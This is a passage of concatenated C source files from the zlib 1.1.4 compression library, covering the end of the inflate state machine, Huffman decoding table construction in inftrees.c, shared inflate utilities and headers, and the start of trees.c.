      if ((z->state->sub.method >> 4) + 8 > z->state->wbits)
      {
        z->state->mode = BAD;
        z->msg = (char*)"invalid window size";
        z->state->sub.marker = 5;       /* can't try inflateSync */
        break;
      }
      z->state->mode = FLAG;
    case FLAG:
      NEEDBYTE
      b = NEXTBYTE;
      if (((z->state->sub.method << 8) + b) % 31)
      {
        z->state->mode = BAD;
        z->msg = (char*)"incorrect header check";
        z->state->sub.marker = 5;       /* can't try inflateSync */
        break;
      }
      Tracev((stderr, "inflate: zlib header ok\n"));
      if (!(b & PRESET_DICT))
      {
        z->state->mode = BLOCKS;
        break;
      }
      z->state->mode = DICT4;
    case DICT4:
      NEEDBYTE
      z->state->sub.check.need = (uLong)NEXTBYTE << 24;
      z->state->mode = DICT3;
    case DICT3:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE << 16;
      z->state->mode = DICT2;
    case DICT2:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE << 8;
      z->state->mode = DICT1;
    case DICT1:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE;
      z->adler = z->state->sub.check.need;
      z->state->mode = DICT0;
      return Z_NEED_DICT;
    case DICT0:
      z->state->mode = BAD;
      z->msg = (char*)"need dictionary";
      z->state->sub.marker = 0;       /* can try inflateSync */
      return Z_STREAM_ERROR;
    case BLOCKS:
      r = inflate_blocks(z->state->blocks, z, r);
      if (r == Z_DATA_ERROR)
      {
        z->state->mode = BAD;
        z->state->sub.marker = 0;       /* can try inflateSync */
        break;
      }
      if (r == Z_OK)
        r = f;
      if (r != Z_STREAM_END)
        return r;
      r = f;
      inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was);
      if (z->state->nowrap)
      {
        z->state->mode = DONE;
        break;
      }
      z->state->mode = CHECK4;
    case CHECK4:
      NEEDBYTE
      z->state->sub.check.need = (uLong)NEXTBYTE << 24;
      z->state->mode = CHECK3;
    case CHECK3:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE << 16;
      z->state->mode = CHECK2;
    case CHECK2:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE << 8;
      z->state->mode = CHECK1;
    case CHECK1:
      NEEDBYTE
      z->state->sub.check.need += (uLong)NEXTBYTE;

      if (z->state->sub.check.was != z->state->sub.check.need)
      {
        z->state->mode = BAD;
        z->msg = (char*)"incorrect data check";
        z->state->sub.marker = 5;       /* can't try inflateSync */
        break;
      }
      Tracev((stderr, "inflate: zlib check ok\n"));
      z->state->mode = DONE;
    case DONE:
      return Z_STREAM_END;
    case BAD:
      return Z_DATA_ERROR;
    default:
      return Z_STREAM_ERROR;
  }
#ifdef NEED_DUMMY_RETURN
  return Z_STREAM_ERROR;  /* Some dumb compilers complain without this */
#endif
}


int ZEXPORT inflateSetDictionary(z, dictionary, dictLength)
z_streamp z;
const Bytef *dictionary;
uInt  dictLength;
{
  uInt length = dictLength;

  if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0)
    return Z_STREAM_ERROR;

  if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR;
  z->adler = 1L;

  if (length >= ((uInt)1<<z->state->wbits))
  {
    length = (1<<z->state->wbits)-1;
    dictionary += dictLength - length;
  }
  inflate_set_dictionary(z->state->blocks, dictionary, length);
  z->state->mode = BLOCKS;
  return Z_OK;
}


int ZEXPORT inflateSync(z)
z_streamp z;
{
  uInt n;       /* number of bytes to look at */
  Bytef *p;     /* pointer to bytes */
  uInt m;       /* number of marker bytes found in a row */
  uLong r, w;   /* temporaries to save total_in and total_out */

  /* set up */
  if (z == Z_NULL || z->state == Z_NULL)
    return Z_STREAM_ERROR;
  if (z->state->mode != BAD)
  {
    z->state->mode = BAD;
    z->state->sub.marker = 0;
  }
  if ((n = z->avail_in) == 0)
    return Z_BUF_ERROR;
  p = z->next_in;
  m = z->state->sub.marker;

  /* search */
  while (n && m < 4)
  {
    static const Byte mark[4] = {0, 0, 0xff, 0xff};
    if (*p == mark[m])
      m++;
    else if (*p)
      m = 0;
    else
      m = 4 - m;
    p++, n--;
  }

  /* restore */
  z->total_in += p - z->next_in;
  z->next_in = p;
  z->avail_in = n;
  z->state->sub.marker = m;

  /* return no joy or set up to restart on a new block */
  if (m != 4)
    return Z_DATA_ERROR;
  r = z->total_in;  w = z->total_out;
  inflateReset(z);
  z->total_in = r;  z->total_out = w;
  z->state->mode = BLOCKS;
  return Z_OK;
}


/* Returns true if inflate is currently at the end of a block generated
 * by Z_SYNC_FLUSH or Z_FULL_FLUSH. This function is used by one PPP
 * implementation to provide an additional safety check. PPP uses Z_SYNC_FLUSH
 * but removes the length bytes of the resulting empty stored block. When
 * decompressing, PPP checks that at the end of input packet, inflate is
 * waiting for these length bytes.
 */
int ZEXPORT inflateSyncPoint(z)
z_streamp z;
{
  if (z == Z_NULL || z->state == Z_NULL || z->state->blocks == Z_NULL)
    return Z_STREAM_ERROR;
  return inflate_blocks_sync_point(z->state->blocks);
}
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/* inftrees.c -- generate Huffman trees for efficient decoding
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "inftrees.h"

#if !defined(BUILDFIXED) && !defined(STDC)
#  define BUILDFIXED   /* non ANSI compilers may not accept inffixed.h */
#endif

const char inflate_copyright[] =
   " inflate 1.1.4 Copyright 1995-2002 Mark Adler ";
/*
  If you use the zlib library in a product, an acknowledgment is welcome
  in the documentation of your product. If for some reason you cannot
  include such an acknowledgment, I would appreciate that you keep this
  copyright string in the executable of your product.
 */
struct internal_state  {int dummy;}; /* for buggy compilers */

/* simplify the use of the inflate_huft type with some defines */
#define exop word.what.Exop
#define bits word.what.Bits


local int huft_build OF((
    uIntf *,            /* code lengths in bits */
    uInt,               /* number of codes */
    uInt,               /* number of "simple" codes */
    const uIntf *,      /* list of base values for non-simple codes */
    const uIntf *,      /* list of extra bits for non-simple codes */
    inflate_huft * FAR*,/* result: starting table */
    uIntf *,            /* maximum lookup bits (returns actual) */
    inflate_huft *,     /* space for trees */
    uInt *,             /* hufts used in space */
    uIntf * ));         /* space for values */

/* Tables for deflate from PKZIP's appnote.txt. */
local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */
        3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
        35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
        /* see note #13 above about 258 */
local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */
        0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2,
        3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */
local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */
        1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
        257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
        8193, 12289, 16385, 24577};
local const uInt cpdext[30] = { /* Extra bits for distance codes */
        0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6,
        7, 7, 8, 8, 9, 9, 10, 10, 11, 11,
        12, 12, 13, 13};

/*
   Huffman code decoding is performed using a multi-level table lookup.
   The fastest way to decode is to simply build a lookup table whose
   size is determined by the longest code.  However, the time it takes
   to build this table can also be a factor if the data being decoded
   is not very long.  The most common codes are necessarily the
   shortest codes, so those codes dominate the decoding time, and hence
   the speed.  The idea is you can have a shorter table that decodes the
   shorter, more probable codes, and then point to subsidiary tables for
   the longer codes.  The time it costs to decode the longer codes is
   then traded against the time it takes to make longer tables.

   This results of this trade are in the variables lbits and dbits
   below.  lbits is the number of bits the first level table for literal/
   length codes can decode in one step, and dbits is the same thing for
   the distance codes.  Subsequent tables are also less than or equal to
   those sizes.  These values may be adjusted either when all of the
   codes are shorter than that, in which case the longest code length in
   bits is used, or when the shortest code is *longer* than the requested
   table size, in which case the length of the shortest code in bits is
   used.

   There are two different values for the two tables, since they code a
   different number of possibilities each.  The literal/length table
   codes 286 possible values, or in a flat code, a little over eight
   bits.  The distance table codes 30 possible values, or a little less
   than five bits, flat.  The optimum values for speed end up being
   about one bit more than those, so lbits is 8+1 and dbits is 5+1.
   The optimum values may differ though from machine to machine, and
   possibly even between compilers.  Your mileage may vary.
 */


/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */
#define BMAX 15         /* maximum bit length of any code */

local int huft_build(b, n, s, d, e, t, m, hp, hn, v)
uIntf *b;               /* code lengths in bits (all assumed <= BMAX) */
uInt n;                 /* number of codes (assumed <= 288) */
uInt s;                 /* number of simple-valued codes (0..s-1) */
const uIntf *d;         /* list of base values for non-simple codes */
const uIntf *e;         /* list of extra bits for non-simple codes */
inflate_huft * FAR *t;  /* result: starting table */
uIntf *m;               /* maximum lookup bits, returns actual */
inflate_huft *hp;       /* space for trees */
uInt *hn;               /* hufts used in space */
uIntf *v;               /* working area: values in order of bit length */
/* Given a list of code lengths and a maximum table size, make a set of
   tables to decode that set of codes.  Return Z_OK on success, Z_BUF_ERROR
   if the given code set is incomplete (the tables are still built in this
   case), or Z_DATA_ERROR if the input is invalid. */
{

  uInt a;                       /* counter for codes of length k */
  uInt c[BMAX+1];               /* bit length count table */
  uInt f;                       /* i repeats in table every f entries */
  int g;                        /* maximum code length */
  int h;                        /* table level */
  register uInt i;              /* counter, current code */
  register uInt j;              /* counter */
  register int k;               /* number of bits in current code */
  int l;                        /* bits per table (returned in m) */
  uInt mask;                    /* (1 << w) - 1, to avoid cc -O bug on HP */
  register uIntf *p;            /* pointer into c[], b[], or v[] */
  inflate_huft *q;              /* points to current table */
  struct inflate_huft_s r;      /* table entry for structure assignment */
  inflate_huft *u[BMAX];        /* table stack */
  register int w;               /* bits before this table == (l * h) */
  uInt x[BMAX+1];               /* bit offsets, then code stack */
  uIntf *xp;                    /* pointer into x */
  int y;                        /* number of dummy codes added */
  uInt z;                       /* number of entries in current table */


  /* Generate counts for each bit length */
  p = c;
#define C0 *p++ = 0;
#define C2 C0 C0 C0 C0
#define C4 C2 C2 C2 C2
  C4                            /* clear c[]--assume BMAX+1 is 16 */
  p = b;  i = n;
  do {
    c[*p++]++;                  /* assume all entries <= BMAX */
  } while (--i);
  if (c[0] == n)                /* null input--all zero length codes */
  {
    *t = (inflate_huft *)Z_NULL;
    *m = 0;
    return Z_OK;
  }


  /* Find minimum and maximum length, bound *m by those */
  l = *m;
  for (j = 1; j <= BMAX; j++)
    if (c[j])
      break;
  k = j;                        /* minimum code length */
  if ((uInt)l < j)
    l = j;
  for (i = BMAX; i; i--)
    if (c[i])
      break;
  g = i;                        /* maximum code length */
  if ((uInt)l > i)
    l = i;
  *m = l;


  /* Adjust last length count to fill out codes, if needed */
  for (y = 1 << j; j < i; j++, y <<= 1)
    if ((y -= c[j]) < 0)
      return Z_DATA_ERROR;
  if ((y -= c[i]) < 0)
    return Z_DATA_ERROR;
  c[i] += y;


  /* Generate starting offsets into the value table for each length */
  x[1] = j = 0;
  p = c + 1;  xp = x + 2;
  while (--i) {                 /* note that i == g from above */
    *xp++ = (j += *p++);
  }


  /* Make a table of values in order of bit lengths */
  p = b;  i = 0;
  do {
    if ((j = *p++) != 0)
      v[x[j]++] = i;
  } while (++i < n);
  n = x[g];                     /* set n to length of v */


  /* Generate the Huffman codes and for each, make the table entries */
  x[0] = i = 0;                 /* first Huffman code is zero */
  p = v;                        /* grab values in bit order */
  h = -1;                       /* no tables yet--level -1 */
  w = -l;                       /* bits decoded == (l * h) */
  u[0] = (inflate_huft *)Z_NULL;        /* just to keep compilers happy */
  q = (inflate_huft *)Z_NULL;   /* ditto */
  z = 0;                        /* ditto */

  /* go through the bit lengths (k already is bits in shortest code) */
  for (; k <= g; k++)
  {
    a = c[k];
    while (a--)
    {
      /* here i is the Huffman code of length k bits for value *p */
      /* make tables up to required level */
      while (k > w + l)
      {
        h++;
        w += l;                 /* previous table always l bits */

        /* compute minimum size table less than or equal to l bits */
        z = g - w;
        z = z > (uInt)l ? l : z;        /* table size upper limit */
        if ((f = 1 << (j = k - w)) > a + 1)     /* try a k-w bit table */
        {                       /* too few codes for k-w bit table */
          f -= a + 1;           /* deduct codes from patterns left */
          xp = c + k;
          if (j < z)
            while (++j < z)     /* try smaller tables up to z bits */
            {
              if ((f <<= 1) <= *++xp)
                break;          /* enough codes to use up j bits */
              f -= *xp;         /* else deduct codes from patterns */
            }
        }
        z = 1 << j;             /* table entries for j-bit table */

        /* allocate new table */
        if (*hn + z > MANY)     /* (note: doesn't matter for fixed) */
          return Z_DATA_ERROR;  /* overflow of MANY */
        u[h] = q = hp + *hn;
        *hn += z;

        /* connect to last table, if there is one */
        if (h)
        {
          x[h] = i;             /* save pattern for backing up */
          r.bits = (Byte)l;     /* bits to dump before this table */
          r.exop = (Byte)j;     /* bits in this table */
          j = i >> (w - l);
          r.base = (uInt)(q - u[h-1] - j);   /* offset to this table */
          u[h-1][j] = r;        /* connect to last table */
        }
        else
          *t = q;               /* first table is returned result */
      }

      /* set up table entry in r */
      r.bits = (Byte)(k - w);
      if (p >= v + n)
        r.exop = 128 + 64;      /* out of values--invalid code */
      else if (*p < s)
      {
        r.exop = (Byte)(*p < 256 ? 0 : 32 + 64);     /* 256 is end-of-block */
        r.base = *p++;          /* simple code is just the value */
      }
      else
      {
        r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */
        r.base = d[*p++ - s];
      }

      /* fill code-like entries with r */
      f = 1 << (k - w);
      for (j = i >> w; j < z; j += f)
        q[j] = r;

      /* backwards increment the k-bit code i */
      for (j = 1 << (k - 1); i & j; j >>= 1)
        i ^= j;
      i ^= j;

      /* backup over finished tables */
      mask = (1 << w) - 1;      /* needed on HP, cc -O bug */
      while ((i & mask) != x[h])
      {
        h--;                    /* don't need to update q */
        w -= l;
        mask = (1 << w) - 1;
      }
    }
  }


  /* Return Z_BUF_ERROR if we were given an incomplete table */
  return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK;
}


int inflate_trees_bits(c, bb, tb, hp, z)
uIntf *c;               /* 19 code lengths */
uIntf *bb;              /* bits tree desired/actual depth */
inflate_huft * FAR *tb; /* bits tree result */
inflate_huft *hp;       /* space for trees */
z_streamp z;            /* for messages */
{
  int r;
  uInt hn = 0;          /* hufts used in space */
  uIntf *v;             /* work area for huft_build */

  if ((v = (uIntf*)ZALLOC(z, 19, sizeof(uInt))) == Z_NULL)
    return Z_MEM_ERROR;
  r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL,
                 tb, bb, hp, &hn, v);
  if (r == Z_DATA_ERROR)
    z->msg = (char*)"oversubscribed dynamic bit lengths tree";
  else if (r == Z_BUF_ERROR || *bb == 0)
  {
    z->msg = (char*)"incomplete dynamic bit lengths tree";
    r = Z_DATA_ERROR;
  }
  ZFREE(z, v);
  return r;
}


int inflate_trees_dynamic(nl, nd, c, bl, bd, tl, td, hp, z)
uInt nl;                /* number of literal/length codes */
uInt nd;                /* number of distance codes */
uIntf *c;               /* that many (total) code lengths */
uIntf *bl;              /* literal desired/actual bit depth */
uIntf *bd;              /* distance desired/actual bit depth */
inflate_huft * FAR *tl; /* literal/length tree result */
inflate_huft * FAR *td; /* distance tree result */
inflate_huft *hp;       /* space for trees */
z_streamp z;            /* for messages */
{
  int r;
  uInt hn = 0;          /* hufts used in space */
  uIntf *v;             /* work area for huft_build */

  /* allocate work area */
  if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)
    return Z_MEM_ERROR;

  /* build literal/length tree */
  r = huft_build(c, nl, 257, cplens, cplext, tl, bl, hp, &hn, v);
  if (r != Z_OK || *bl == 0)
  {
    if (r == Z_DATA_ERROR)
      z->msg = (char*)"oversubscribed literal/length tree";
    else if (r != Z_MEM_ERROR)
    {
      z->msg = (char*)"incomplete literal/length tree";
      r = Z_DATA_ERROR;
    }
    ZFREE(z, v);
    return r;
  }

  /* build distance tree */
  r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, hp, &hn, v);
  if (r != Z_OK || (*bd == 0 && nl > 257))
  {
    if (r == Z_DATA_ERROR)
      z->msg = (char*)"oversubscribed distance tree";
    else if (r == Z_BUF_ERROR) {
#ifdef PKZIP_BUG_WORKAROUND
      r = Z_OK;
    }
#else
      z->msg = (char*)"incomplete distance tree";
      r = Z_DATA_ERROR;
    }
    else if (r != Z_MEM_ERROR)
    {
      z->msg = (char*)"empty distance tree with lengths";
      r = Z_DATA_ERROR;
    }
    ZFREE(z, v);
    return r;
#endif
  }

  /* done */
  ZFREE(z, v);
  return Z_OK;
}


/* build fixed tables only once--keep them here */
#ifdef BUILDFIXED
local int fixed_built = 0;
#define FIXEDH 544      /* number of hufts used by fixed tables */
local inflate_huft fixed_mem[FIXEDH];
local uInt fixed_bl;
local uInt fixed_bd;
local inflate_huft *fixed_tl;
local inflate_huft *fixed_td;
#else
#include "inffixed.h"
#endif


int inflate_trees_fixed(bl, bd, tl, td, z)
uIntf *bl;               /* literal desired/actual bit depth */
uIntf *bd;               /* distance desired/actual bit depth */
inflate_huft * FAR *tl;  /* literal/length tree result */
inflate_huft * FAR *td;  /* distance tree result */
z_streamp z;             /* for memory allocation */
{
#ifdef BUILDFIXED
  /* build fixed tables if not already */
  if (!fixed_built)
  {
    int k;              /* temporary variable */
    uInt f = 0;         /* number of hufts used in fixed_mem */
    uIntf *c;           /* length list for huft_build */
    uIntf *v;           /* work area for huft_build */

    /* allocate memory */
    if ((c = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)
      return Z_MEM_ERROR;
    if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)
    {
      ZFREE(z, c);
      return Z_MEM_ERROR;
    }

    /* literal table */
    for (k = 0; k < 144; k++)
      c[k] = 8;
    for (; k < 256; k++)
      c[k] = 9;
    for (; k < 280; k++)
      c[k] = 7;
    for (; k < 288; k++)
      c[k] = 8;
    fixed_bl = 9;
    huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl,
               fixed_mem, &f, v);

    /* distance table */
    for (k = 0; k < 30; k++)
      c[k] = 5;
    fixed_bd = 5;
    huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd,
               fixed_mem, &f, v);

    /* done */
    ZFREE(z, v);
    ZFREE(z, c);
    fixed_built = 1;
  }
#endif
  *bl = fixed_bl;
  *bd = fixed_bd;
  *tl = fixed_tl;
  *td = fixed_td;
  return Z_OK;
}
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/* inftrees.h -- header to use inftrees.c
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

/* Huffman code lookup table entry--this entry is four bytes for machines
   that have 16-bit pointers (e.g. PC's in the small or medium model). */

typedef struct inflate_huft_s FAR inflate_huft;

struct inflate_huft_s {
  union {
    struct {
      Byte Exop;        /* number of extra bits or operation */
      Byte Bits;        /* number of bits in this code or subcode */
    } what;
    uInt pad;           /* pad structure to a power of 2 (4 bytes for */
  } word;               /*  16-bit, 8 bytes for 32-bit int's) */
  uInt base;            /* literal, length base, distance base,
                           or table offset */
};

/* Maximum size of dynamic tree.  The maximum found in a long but non-
   exhaustive search was 1004 huft structures (850 for length/literals
   and 154 for distances, the latter actually the result of an
   exhaustive search).  The actual maximum is not known, but the
   value below is more than safe. */
#define MANY 1440

extern int inflate_trees_bits OF((
    uIntf *,                    /* 19 code lengths */
    uIntf *,                    /* bits tree desired/actual depth */
    inflate_huft * FAR *,       /* bits tree result */
    inflate_huft *,             /* space for trees */
    z_streamp));                /* for messages */

extern int inflate_trees_dynamic OF((
    uInt,                       /* number of literal/length codes */
    uInt,                       /* number of distance codes */
    uIntf *,                    /* that many (total) code lengths */
    uIntf *,                    /* literal desired/actual bit depth */
    uIntf *,                    /* distance desired/actual bit depth */
    inflate_huft * FAR *,       /* literal/length tree result */
    inflate_huft * FAR *,       /* distance tree result */
    inflate_huft *,             /* space for trees */
    z_streamp));                /* for messages */

extern int inflate_trees_fixed OF((
    uIntf *,                    /* literal desired/actual bit depth */
    uIntf *,                    /* distance desired/actual bit depth */
    inflate_huft * FAR *,       /* literal/length tree result */
    inflate_huft * FAR *,       /* distance tree result */
    z_streamp));                /* for memory allocation */
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/* inflate_util.c -- data and routines common to blocks and codes
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "infblock.h"
#include "inftrees.h"
#include "infcodes.h"
#include "infutil.h"

struct inflate_codes_state {int dummy;}; /* for buggy compilers */

/* And'ing with mask[n] masks the lower n bits */
uInt inflate_mask[17] = {
    0x0000,
    0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff,
    0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff
};


/* copy as much as possible from the sliding window to the output area */
int inflate_flush(s, z, r)
inflate_blocks_statef *s;
z_streamp z;
int r;
{
  uInt n;
  Bytef *p;
  Bytef *q;

  /* local copies of source and destination pointers */
  p = z->next_out;
  q = s->read;

  /* compute number of bytes to copy as far as end of window */
  n = (uInt)((q <= s->write ? s->write : s->end) - q);
  if (n > z->avail_out) n = z->avail_out;
  if (n && r == Z_BUF_ERROR) r = Z_OK;

  /* update counters */
  z->avail_out -= n;
  z->total_out += n;

  /* update check information */
  if (s->checkfn != Z_NULL)
    z->adler = s->check = (*s->checkfn)(s->check, q, n);

  /* copy as far as end of window */
  zmemcpy(p, q, n);
  p += n;
  q += n;

  /* see if more to copy at beginning of window */
  if (q == s->end)
  {
    /* wrap pointers */
    q = s->window;
    if (s->write == s->end)
      s->write = s->window;

    /* compute bytes to copy */
    n = (uInt)(s->write - q);
    if (n > z->avail_out) n = z->avail_out;
    if (n && r == Z_BUF_ERROR) r = Z_OK;

    /* update counters */
    z->avail_out -= n;
    z->total_out += n;

    /* update check information */
    if (s->checkfn != Z_NULL)
      z->adler = s->check = (*s->checkfn)(s->check, q, n);

    /* copy */
    zmemcpy(p, q, n);
    p += n;
    q += n;
  }

  /* update pointers */
  z->next_out = p;
  s->read = q;

  /* done */
  return r;
}
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/* infutil.h -- types and macros common to blocks and codes
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

#ifndef _INFUTIL_H
#define _INFUTIL_H

typedef enum {
      TYPE,     /* get type bits (3, including end bit) */
      LENS,     /* get lengths for stored */
      STORED,   /* processing stored block */
      TABLE,    /* get table lengths */
      BTREE,    /* get bit lengths tree for a dynamic block */
      DTREE,    /* get length, distance trees for a dynamic block */
      CODES,    /* processing fixed or dynamic block */
      DRY,      /* output remaining window bytes */
      DONE,     /* finished last block, done */
      BAD}      /* got a data error--stuck here */
inflate_block_mode;

/* inflate blocks semi-private state */
struct inflate_blocks_state {

  /* mode */
  inflate_block_mode  mode;     /* current inflate_block mode */

  /* mode dependent information */
  union {
    uInt left;          /* if STORED, bytes left to copy */
    struct {
      uInt table;               /* table lengths (14 bits) */
      uInt index;               /* index into blens (or border) */
      uIntf *blens;             /* bit lengths of codes */
      uInt bb;                  /* bit length tree depth */
      inflate_huft *tb;         /* bit length decoding tree */
    } trees;            /* if DTREE, decoding info for trees */
    struct {
      inflate_codes_statef 
         *codes;
    } decode;           /* if CODES, current state */
  } sub;                /* submode */
  uInt last;            /* true if this block is the last block */

  /* mode independent information */
  uInt bitk;            /* bits in bit buffer */
  uLong bitb;           /* bit buffer */
  inflate_huft *hufts;  /* single malloc for tree space */
  Bytef *window;        /* sliding window */
  Bytef *end;           /* one byte after sliding window */
  Bytef *read;          /* window read pointer */
  Bytef *write;         /* window write pointer */
  check_func checkfn;   /* check function */
  uLong check;          /* check on output */

};


/* defines for inflate input/output */
/*   update pointers and return */
#define UPDBITS {s->bitb=b;s->bitk=k;}
#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;}
#define UPDOUT {s->write=q;}
#define UPDATE {UPDBITS UPDIN UPDOUT}
#define LEAVE {UPDATE return inflate_flush(s,z,r);}
/*   get bytes and bits */
#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;}
#define NEEDBYTE {if(n)r=Z_OK;else LEAVE}
#define NEXTBYTE (n--,*p++)
#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<<k;k+=8;}}
#define DUMPBITS(j) {b>>=(j);k-=(j);}
/*   output bytes */
#define WAVAIL (uInt)(q<s->read?s->read-q-1:s->end-q)
#define LOADOUT {q=s->write;m=(uInt)WAVAIL;}
#define WRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}}
#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT}
#define NEEDOUT {if(m==0){WRAP if(m==0){FLUSH WRAP if(m==0) LEAVE}}r=Z_OK;}
#define OUTBYTE(a) {*q++=(Byte)(a);m--;}
/*   load local pointers */
#define LOAD {LOADIN LOADOUT}

/* masks for lower bits (size given to avoid silly warnings with Visual C++) */
extern uInt inflate_mask[17];

/* copy as much as possible from the sliding window to the output area */
extern int inflate_flush OF((
    inflate_blocks_statef *,
    z_streamp ,
    int));

struct internal_state      {int dummy;}; /* for buggy compilers */

#endif








源码/Zip/maketree.c

/* maketree.c -- make inffixed.h table for decoding fixed codes
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

/* This program is included in the distribution for completeness.
   You do not need to compile or run this program since inffixed.h
   is already included in the distribution.  To use this program
   you need to compile zlib with BUILDFIXED defined and then compile
   and link this program with the zlib library.  Then the output of
   this program can be piped to inffixed.h. */

#include <stdio.h>
#include <stdlib.h>
#include "zutil.h"
#include "inftrees.h"

/* simplify the use of the inflate_huft type with some defines */
#define exop word.what.Exop
#define bits word.what.Bits

/* generate initialization table for an inflate_huft structure array */
void maketree(uInt b, inflate_huft *t)
{
  int i, e;

  i = 0;
  while (1)
  {
    e = t[i].exop;
    if (e && (e & (16+64)) == 0)        /* table pointer */
    {
      fprintf(stderr, "maketree: cannot initialize sub-tables!\n");
      exit(1);
    }
    if (i % 4 == 0)
      printf("\n   ");
    printf(" {{{%u,%u}},%u}", t[i].exop, t[i].bits, t[i].base);
    if (++i == (1<<b))
      break;
    putchar(',');
  }
  puts("");
}










源码/Zip/trees.c

/* trees.c -- output deflated data using Huffman coding
 * Copyright (C) 1995-2002 Jean-loup Gailly
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/*
 *  ALGORITHM
 *
 *      The "deflation" process uses several Huffman trees. The more
 *      common source values are represented by shorter bit sequences.
 *
 *      Each code tree is stored in a compressed form which is itself
 * a Huffman encoding of the lengths of all the code strings (in
 * ascending order by source values).  The actual code strings are
 * reconstructed from the lengths in the inflate process, as described
 * in the deflate specification.
 *
 *  REFERENCES
 *
 *      Deutsch, L.P.,"'Deflate' Compressed Data Format Specification".
 *      Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc
 *
 *      Storer, James A.
 *          Data Compression:  Methods and Theory, pp. 49-50.
 *          Computer Science Press, 1988.  ISBN 0-7167-8156-5.
 *
 *      Sedgewick, R.
 *          Algorithms, p290.
 *          Addison-Wesley, 1983. ISBN 0-201-06672-6.
 */

/* @(#) $Id$ */

/* #define GEN_TREES_H */

#include "deflate.h"

#ifdef DEBUG
#  include <ctype.h>
#endif

/* ===========================================================================
 * Constants
 */

#define MAX_BL_BITS 7
/* Bit length codes must not exceed MAX_BL_BITS bits */

#define END_BLOCK 256
/* end of block literal code */

#define REP_3_6      16
/* repeat previous bit length 3-6 times (2 bits of repeat count) */

#define REPZ_3_10    17
/* repeat a zero length 3-10 times  (3 bits of repeat count) */

#define REPZ_11_138  18
/* repeat a zero length 11-138 times  (7 bits of repeat count) */

local const int extra_lbits[LENGTH_CODES] /* extra bits for each length code */
   = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};

local const int extra_dbits[D_CODES] /* extra bits for each distance code */
   = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};

local const int extra_blbits[BL_CODES]/* extra bits for each bit length code */
   = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};

local const uch bl_order[BL_CODES]
   = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
/* The lengths of the bit length codes are sent in order of decreasing
 * probability, to avoid transmitting the lengths for unused bit length codes.
 */

#define Buf_size (8 * 2*sizeof(char))
/* Number of bits used within bi_buf. (bi_buf might be implemented on
 * more than 16 bits on some systems.)
 */

/* ===========================================================================
 * Local data. These are initialized only once.
 */

#define DIST_CODE_LEN  512 /* see definition of array dist_code below */

#if defined(GEN_TREES_H) || !defined(STDC)
/* non ANSI compilers may not accept trees.h */

local ct_data static_ltree[L_CODES+2];
/* The static literal tree. Since the bit lengths are imposed, there is no
 * need for the L_CODES extra codes used during heap construction. However
 * The codes 286 and 287 are needed to build a canonical tree (see _tr_init
 * below).
 */

local ct_data static_dtree[D_CODES];
/* The static distance tree. (Actually a trivial tree since all codes use
 * 5 bits.)
 */

